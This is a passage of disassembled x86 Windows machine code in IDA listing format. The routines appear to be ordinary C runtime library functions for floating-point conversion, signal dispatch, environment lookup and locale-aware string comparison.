		jge	short loc_41FC99
		neg	esi
		and	esi, 0FFh
		jle	short loc_41FC99


loc_41FC8C:				; CODE XREF: sub_41FAC8+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41F503
		dec	esi
		pop	ecx
		jnz	short loc_41FC8C


loc_41FC99:				; CODE XREF: sub_41FAC8+1B8j
					; sub_41FAC8+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_41FCF6
		mov	[ebp+arg_C], ecx


loc_41FCA9:				; CODE XREF: sub_41FAC8+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_41F4D5
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41F4D5
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41F477
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41F4D5
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_41FCA9
		mov	eax, [ebp+arg_14]


loc_41FCF6:				; CODE XREF: sub_41FAC8+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_41FD33


loc_41FD03:				; CODE XREF: sub_41FAC8+248j
		cmp	eax, ecx
		jb	short loc_41FD16
		cmp	byte ptr [eax],	39h
		jnz	short loc_41FD12
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_41FD03
; ---------------------------------------------------------------------------


loc_41FD12:				; CODE XREF: sub_41FAC8+242j
		cmp	eax, ecx
		jnb	short loc_41FD1A


loc_41FD16:				; CODE XREF: sub_41FAC8+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_41FD1A:				; CODE XREF: sub_41FAC8+24Cj
		inc	byte ptr [eax]


loc_41FD1C:				; CODE XREF: sub_41FAC8+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_41FD2B:				; CODE XREF: sub_41FAC8+F0j
		mov	eax, [ebp+var_4]


loc_41FD2E:				; CODE XREF: sub_41FAC8+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41FD33:				; CODE XREF: sub_41FAC8+239j
					; sub_41FAC8+275j
		cmp	eax, ecx
		jb	short loc_41FD43
		cmp	byte ptr [eax],	30h
		jnz	short loc_41FD3F
		dec	eax
		jmp	short loc_41FD33
; ---------------------------------------------------------------------------


loc_41FD3F:				; CODE XREF: sub_41FAC8+272j
		cmp	eax, ecx
		jnb	short loc_41FD1C


loc_41FD43:				; CODE XREF: sub_41FAC8+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_41FD52:				; CODE XREF: sub_41FAC8+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_41FD2E
sub_41FAC8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FD5B	proc near		; CODE XREF: sub_41B61C+342Fp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_41FDC2
		dec	eax
		dec	eax
		jz	short loc_41FDB3
		sub	eax, 4
		jz	short loc_41FDB3
		sub	eax, 3
		jz	short loc_41FDB3
		sub	eax, 4
		jz	short loc_41FDA6
		sub	eax, 6
		jz	short loc_41FD99
		dec	eax
		jz	short loc_41FD8C
		or	eax, 0FFFFFFFFh
		jmp	loc_41FE84
; ---------------------------------------------------------------------------


loc_41FD8C:				; CODE XREF: sub_41FD5B+27j
		mov	esi, ds:dword_4C9364
		mov	eax, offset dword_4C9364
		jmp	short loc_41FDCD
; ---------------------------------------------------------------------------


loc_41FD99:				; CODE XREF: sub_41FD5B+24j
		mov	esi, ds:dword_4C9360
		mov	eax, offset dword_4C9360
		jmp	short loc_41FDCD
; ---------------------------------------------------------------------------


loc_41FDA6:				; CODE XREF: sub_41FD5B+1Fj
		mov	esi, ds:dword_4C9368
		mov	eax, offset dword_4C9368
		jmp	short loc_41FDCD
; ---------------------------------------------------------------------------


loc_41FDB3:				; CODE XREF: sub_41FD5B+10j
					; sub_41FD5B+15j ...
		push	edi
		call	sub_41FE88
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_41FDCD
; ---------------------------------------------------------------------------


loc_41FDC2:				; CODE XREF: sub_41FD5B+Cj
		mov	esi, ds:dword_4C935C
		mov	eax, offset dword_4C935C


loc_41FDCD:				; CODE XREF: sub_41FD5B+3Cj
					; sub_41FD5B+49j ...
		cmp	esi, 1
		jnz	short loc_41FDD9
		xor	eax, eax
		jmp	loc_41FE84
; ---------------------------------------------------------------------------


loc_41FDD9:				; CODE XREF: sub_41FD5B+75j
		test	esi, esi
		jnz	short loc_41FDE4
		push	3
		call	sub_417C16


loc_41FDE4:				; CODE XREF: sub_41FD5B+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_41FDF6
		cmp	edi, 0Bh
		jz	short loc_41FDF6
		cmp	edi, 4
		jnz	short loc_41FE1C


loc_41FDF6:				; CODE XREF: sub_41FD5B+8Fj
					; sub_41FD5B+94j
		mov	ebx, ds:dword_4C9138
		and	ds:dword_4C9138, 0
		cmp	edi, ecx
		jnz	short loc_41FE4B
		mov	edx, ds:dword_4319DC
		mov	ds:dword_4319DC, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_41FE1F
; ---------------------------------------------------------------------------


loc_41FE1C:				; CODE XREF: sub_41FD5B+99j
		mov	ebx, [ebp+arg_0]


loc_41FE1F:				; CODE XREF: sub_41FD5B+BFj
		cmp	edi, ecx
		jnz	short loc_41FE4B
		mov	eax, ds:dword_4319D0
		mov	ecx, ds:dword_4319D4
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_41FE52
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:431960h[edx*4]


loc_41FE40:				; CODE XREF: sub_41FD5B+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_41FE40
		jmp	short loc_41FE52
; ---------------------------------------------------------------------------


loc_41FE4B:				; CODE XREF: sub_41FD5B+AAj
					; sub_41FD5B+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_41FE60


loc_41FE52:				; CODE XREF: sub_41FD5B+D7j
					; sub_41FD5B+EEj
		push	ds:dword_4319DC
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_41FE6E
; ---------------------------------------------------------------------------


loc_41FE60:				; CODE XREF: sub_41FD5B+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_41FE6E
		cmp	edi, 4
		jnz	short loc_41FE81


loc_41FE6E:				; CODE XREF: sub_41FD5B+103j
					; sub_41FD5B+10Cj
		cmp	edi, 8
		mov	ds:dword_4C9138, ebx
		jnz	short loc_41FE81
		mov	eax, [ebp+arg_0]
		mov	ds:dword_4319DC, eax


loc_41FE81:				; CODE XREF: sub_41FD5B+111j
					; sub_41FD5B+11Cj
		xor	eax, eax
		pop	ebx


loc_41FE84:				; CODE XREF: sub_41FD5B+2Cj
					; sub_41FD5B+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41FD5B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41FE88	proc near		; CODE XREF: sub_41FD5B+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, ds:dword_4319D8
		cmp	ds:dword_43195C, edx
		push	esi
		mov	eax, offset dword_431958
		jz	short loc_41FEB6
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:431958h[esi*4]


loc_41FEAA:				; CODE XREF: sub_41FE88+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_41FEB6
		cmp	[eax+4], edx
		jnz	short loc_41FEAA


loc_41FEB6:				; CODE XREF: sub_41FE88+16j
					; sub_41FE88+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:431958h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_41FECA
		cmp	[eax+4], edx
		jz	short locret_41FECC


loc_41FECA:				; CODE XREF: sub_41FE88+3Bj
		xor	eax, eax

locret_41FECC:				; CODE XREF: sub_41FE88+40j
		retn
sub_41FE88	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FECD	proc near		; CODE XREF: sub_41EBF2+23p

arg_0		= dword	ptr  4

		cmp	ds:dword_4CA710, 0
		push	ebx
		push	esi
		mov	esi, ds:dword_4C90AC
		push	edi
		jz	short loc_41FF44
		test	esi, esi
		jnz	short loc_41FEFE
		cmp	ds:dword_4C90B4, esi
		jz	short loc_41FF44
		call	sub_42029B
		test	eax, eax
		jnz	short loc_41FF44
		mov	esi, ds:dword_4C90AC
		test	esi, esi
		jz	short loc_41FF44


loc_41FEFE:				; CODE XREF: sub_41FECD+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_41FF44
		push	ebx
		call	sub_415C80
		pop	ecx
		mov	edi, eax


loc_41FF0F:				; CODE XREF: sub_41FECD+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41FF44
		push	eax
		call	sub_415C80
		cmp	eax, edi
		pop	ecx
		jbe	short loc_41FF37
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_41FF37
		push	edi
		push	ebx
		push	eax
		call	sub_42025C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41FF3C


loc_41FF37:				; CODE XREF: sub_41FECD+51j
					; sub_41FECD+59j
		add	esi, 4
		jmp	short loc_41FF0F
; ---------------------------------------------------------------------------


loc_41FF3C:				; CODE XREF: sub_41FECD+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_41FF46
; ---------------------------------------------------------------------------


loc_41FF44:				; CODE XREF: sub_41FECD+10j
					; sub_41FECD+1Cj ...
		xor	eax, eax


loc_41FF46:				; CODE XREF: sub_41FECD+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41FECD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FF4A	proc near		; CODE XREF: sub_41F310+8Bp
					; sub_41F310+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, ds:dword_4CA4C0
		jnb	short loc_41FFB1
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, ds:dword_4CA3C0[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_41FFB1
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_41FF8A
		and	cl, 7Fh
		jmp	short loc_41FF97
; ---------------------------------------------------------------------------


loc_41FF8A:				; CODE XREF: sub_41FF4A+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_41FFA5
		or	cl, 80h


loc_41FF97:				; CODE XREF: sub_41FF4A+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41FFA5:				; CODE XREF: sub_41FF4A+48j
		mov	ds:dword_4C9084, 16h
		jmp	short loc_41FFBB
; ---------------------------------------------------------------------------


loc_41FFB1:				; CODE XREF: sub_41FF4A+Bj
					; sub_41FF4A+27j
		mov	ds:dword_4C9084, 9


loc_41FFBB:				; CODE XREF: sub_41FF4A+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41FF4A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FFC0	proc near		; CODE XREF: sub_41FAC8+165p
					; sub_4201E0+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_4201C0
		cmp	cx, 7FFFh
		jnb	loc_4201C0
		cmp	dx, 0BFFDh
		ja	loc_4201C0
		cmp	dx, 3FBFh
		ja	short loc_420029
		xor	eax, eax
		jmp	short loc_420063
; ---------------------------------------------------------------------------


loc_420029:				; CODE XREF: sub_41FFC0+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_42004B
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_42004B
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_42004D
		cmp	[esi], eax
		jnz	short loc_42004D
		jmp	loc_4201BA
; ---------------------------------------------------------------------------


loc_42004B:				; CODE XREF: sub_41FFC0+71j
					; sub_41FFC0+79j
		xor	eax, eax


loc_42004D:				; CODE XREF: sub_41FFC0+80j
					; sub_41FFC0+84j
		cmp	cx, ax
		jnz	short loc_420070
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_420070
		cmp	[ebx+4], eax
		jnz	short loc_420070
		cmp	[ebx], eax
		jnz	short loc_420070


loc_420063:				; CODE XREF: sub_41FFC0+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_4201DB
; ---------------------------------------------------------------------------


loc_420070:				; CODE XREF: sub_41FFC0+90j
					; sub_41FFC0+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_420080:				; CODE XREF: sub_41FFC0+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_4200D4
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_42009C:				; CODE XREF: sub_41FFC0+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_41F456
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4200C7
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_4200C7:				; CODE XREF: sub_41FFC0+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_42009C


loc_4200D4:				; CODE XREF: sub_41FFC0+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_420080
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_420117


loc_4200F2:				; CODE XREF: sub_41FFC0+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_420110
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41F4D5
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_4200F2


loc_420110:				; CODE XREF: sub_41FFC0+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_420150


loc_420117:				; CODE XREF: sub_41FFC0+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_420150
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_420130:				; CODE XREF: sub_41FFC0+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_420139
		inc	[ebp+var_14]


loc_420139:				; CODE XREF: sub_41FFC0+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41F503
		dec	ebx
		pop	ecx
		jnz	short loc_420130
		cmp	[ebp+var_14], 0
		jz	short loc_420150
		or	byte ptr [ebp+var_24], 1


loc_420150:				; CODE XREF: sub_41FFC0+155j
					; sub_41FFC0+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_420167
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_42019C


loc_420167:				; CODE XREF: sub_41FFC0+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_420199
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_420194
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_42018E
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_42019C
; ---------------------------------------------------------------------------


loc_42018E:				; CODE XREF: sub_41FFC0+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_42019C
; ---------------------------------------------------------------------------


loc_420194:				; CODE XREF: sub_41FFC0+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_42019C
; ---------------------------------------------------------------------------


loc_420199:				; CODE XREF: sub_41FFC0+1ABj
		inc	[ebp+var_24+2]


loc_42019C:				; CODE XREF: sub_41FFC0+1A5j
					; sub_41FFC0+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_4201C0
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_4201BA:				; CODE XREF: sub_41FFC0+86j
		mov	[esi+0Ah], ax
		jmp	short loc_4201DB
; ---------------------------------------------------------------------------


loc_4201C0:				; CODE XREF: sub_41FFC0+42j
					; sub_41FFC0+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_4201DB:				; CODE XREF: sub_41FFC0+ABj
					; sub_41FFC0+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FFC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4201E0	proc near		; CODE XREF: sub_41F5F7+440p
					; sub_41FAC8+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_431E50
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_420259
		jge	short loc_420208
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_431FB0
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_420208:				; CODE XREF: sub_4201E0+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_420213
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_420213:				; CODE XREF: sub_4201E0+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_420259
		push	esi
		push	edi


loc_42021A:				; CODE XREF: sub_4201E0+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_420252
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_420245
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_420245:				; CODE XREF: sub_4201E0+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_41FFC0
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_420252:				; CODE XREF: sub_4201E0+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_42021A
		pop	edi
		pop	esi


loc_420259:				; CODE XREF: sub_4201E0+14j
					; sub_4201E0+36j
		pop	ebx
		leave
		retn
sub_4201E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42025C	proc near		; CODE XREF: sub_41FECD+5Ep
					; sub_420738+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_420269
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_420269:				; CODE XREF: sub_42025C+7j
		push	ds:dword_4CA4C4
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	ds:dword_4CA6E4
		call	sub_420309
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_420296
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_420296:				; CODE XREF: sub_42025C+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_42025C	endp


; =============== S U B	R O U T	I N E =======================================



sub_42029B	proc near		; CODE XREF: sub_41FECD+1Ep
					; sub_4205B1+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ds:dword_4C90B4
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_4202FC
		mov	ebx, ds:dword_422130


loc_4202B4:				; CODE XREF: sub_42029B+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_420304
		push	ebp
		call	sub_415D2F
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_420304
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_420304
		push	edi
		push	[esp+18h+var_4]
		call	sub_4205B1
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_4202B4


loc_4202FC:				; CODE XREF: sub_42029B+11j
		xor	eax, eax


loc_4202FE:				; CODE XREF: sub_42029B+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_420304:				; CODE XREF: sub_42029B+29j
					; sub_42029B+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_4202FE
sub_42029B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420309	proc near		; CODE XREF: sub_42025C+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_422C70
		push	offset sub_41D894
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	ds:dword_4C9370, ebx
		push	1
		pop	edi
		jnz	short loc_42037C
		push	edi
		mov	eax, offset dword_4228C0
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	ds:dword_422008	; CompareStringW
		test	eax, eax
		jz	short loc_420359
		mov	ds:dword_4C9370, edi
		jmp	short loc_42037C
; ---------------------------------------------------------------------------


loc_420359:				; CODE XREF: sub_420309+46j
		push	edi
		mov	eax, offset dword_4325D4
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	ds:dword_42200C	; CompareStringA
		test	eax, eax
		jz	loc_420572
		mov	ds:dword_4C9370, 2


loc_42037C:				; CODE XREF: sub_420309+31j
					; sub_420309+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_420393
		push	esi
		push	[ebp+arg_8]
		call	sub_420586
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_420393:				; CODE XREF: sub_420309+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_4203A8
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_420586
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_4203A8:				; CODE XREF: sub_420309+8Dj
		mov	eax, ds:dword_4C9370
		cmp	eax, 2
		jnz	short loc_4203CD
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_42200C	; CompareStringA
		jmp	loc_420574
; ---------------------------------------------------------------------------


loc_4203CD:				; CODE XREF: sub_420309+A7j
		cmp	eax, edi
		jnz	loc_420572
		cmp	[ebp+arg_18], ebx
		jnz	short loc_4203E2
		mov	eax, ds:dword_4C912C
		mov	[ebp+arg_18], eax


loc_4203E2:				; CODE XREF: sub_420309+CFj
		cmp	esi, ebx
		jz	short loc_4203EF
		cmp	[ebp+arg_14], ebx
		jnz	loc_420487


loc_4203EF:				; CODE XREF: sub_420309+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_4203FC


loc_4203F4:				; CODE XREF: sub_420309+13Cj
					; sub_420309+16Dj
		push	2


loc_4203F6:				; CODE XREF: sub_420309+146j
		pop	eax
		jmp	loc_420574
; ---------------------------------------------------------------------------


loc_4203FC:				; CODE XREF: sub_420309+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_420408


loc_420401:				; CODE XREF: sub_420309+151j
					; sub_420309+159j ...
		mov	eax, edi
		jmp	loc_420574
; ---------------------------------------------------------------------------


loc_420408:				; CODE XREF: sub_420309+F6j
		cmp	esi, edi
		jg	short loc_42044D
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		call	ds:dword_4221B4	; GetCPInfo
		test	eax, eax
		jz	loc_420572
		cmp	esi, ebx
		jle	short loc_420451
		cmp	[ebp+var_3C], 2
		jb	short loc_42044D
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_42044D


loc_420433:				; CODE XREF: sub_420309+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_42044D
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_420447
		cmp	cl, dl
		jbe	short loc_4203F4


loc_420447:				; CODE XREF: sub_420309+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_420433


loc_42044D:				; CODE XREF: sub_420309+101j
					; sub_420309+120j ...
		push	3
		jmp	short loc_4203F6
; ---------------------------------------------------------------------------


loc_420451:				; CODE XREF: sub_420309+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_420487
		cmp	[ebp+var_3C], 2
		jb	short loc_420401
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_420401


loc_420464:				; CODE XREF: sub_420309+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_420401
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_42047C
		cmp	cl, dl
		jbe	loc_4203F4


loc_42047C:				; CODE XREF: sub_420309+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_420464
		jmp	loc_420401
; ---------------------------------------------------------------------------


loc_420487:				; CODE XREF: sub_420309+E0j
					; sub_420309+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		call	ds:dword_422134	; MultiByteToWideChar
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_420572
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_415D00
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4204D6
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
